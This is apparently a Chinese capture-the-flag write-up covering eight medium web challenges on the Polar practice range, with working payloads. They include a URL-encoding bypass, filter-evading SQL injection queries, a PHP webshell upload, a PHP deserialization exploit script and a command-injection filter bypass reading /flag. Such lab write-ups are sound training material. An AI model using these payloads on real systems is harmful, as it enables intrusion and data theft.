Polar靶场-Web中等题目记录(17-24)
phpurl
查看题目提示,获取base64加密信息

解密获取 index.phps

尝试对 index.phps进行访问,获得基于PHP类型和编码漏洞的简单挑战

分析代码:
(1)首先,检查$_GET['sys']是否严格等于字符串"xxs"(使用=)。如果是,则输出“Not a good idea!”并退出。
(2)如果不是,则对$_GET['sys']执行urldecode(),然后与"xxs"进行松散比较()。如果相等,则输出欢迎信息和flag。
回到首页进行构造,对xss进行二次url编码,获取flag
payload:?sys=%2578%2578%2573

search
查看界面,带有ID敏感信息,盲猜一手注入

脚本小子上线,用sqlmap进行注入

熄火,发现存在过滤

测试发现过滤了空格和关键词(需要进行大写绕过),测试处字段为5

手动进行注入,获取显示位

读取数据库以及表名
Payload :1'/**/Union/**/Select/**/1,group_concat(table_name),3,4,5/**/From/**/information_schema.tables/**/Where/**/table_schema=database()#

获取flag
1'/**/Union/**/select/**/1,group_concat(Flag),3,4,5/**/From/**/Flag#

file
根据题目提示,扫描一下网站目录

发现存在/upload.php文件以及/upload文件路径

上传一句话木马

访问/upload文件路径看是否上传成功

使用蚁剑连接一句话木马获取webshell(flag在根目录下)

PlayGame
查看题目,为php反序列化类型题目

AI生成一个序列化字符串的PHP脚本
<?php
class PlayGame {
public $user;
public $gameFile = './game'; // 默认值,下面会被覆盖
}
class User {
public $name;
public $age;
public $sex;
}
/* 1. 最里层 PlayGame(PG2) */
$pg2 = new PlayGame;
$pg2->user = null; // 对应 N;
$pg2->gameFile = '/flag'; // 对应 s:5:"/flag";
/* 2. 中间 User(U) */
$u = new User;
$u->name = $pg2; // 把 PG2 塞进 name
$u->age = null;
$u->sex = null;
/* 3. 最外层 PlayGame(PG1) */
$pg1 = new PlayGame;
$pg1->user = $u;
$pg1->gameFile = null; // 对应 N;
/* 4. 输出序列化串(urlencode 后可直接打) */
echo serialize($pg1);
// 如果想直接打 URL,用下面这行:
// echo urlencode(serialize($pg1));
payload
?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";N;}

csdn
查看网站源代码,发现提示flag在flag目录下的flag.txt中

直接进行读取
payload:xxs=file:///flag.txt

Dragon
题目很简单,抓包flag在Cookie里面

tnl
使用burp抓包,发现twothree=3时报错

尝试使用任意文件读取进行读取文件(发现加后缀无法读取,删除后缀可以正常读取)

对读取的index进行base64 解码

读取flag


你知道sys还能这样玩吗
访问靶场,没有任何提示

尝试扫描目录,没有信息

查看题目,尝试使用sys作为路径或者文件,拼接访问,找到sys.php

代码审计题目,尝试绕过,获取flag

可以读取,但无法查看文件,尝试将空格以及.进行替换
paylod:cmd=c\at /f\lag$'\56'txt


浙公网安备 33010602011771号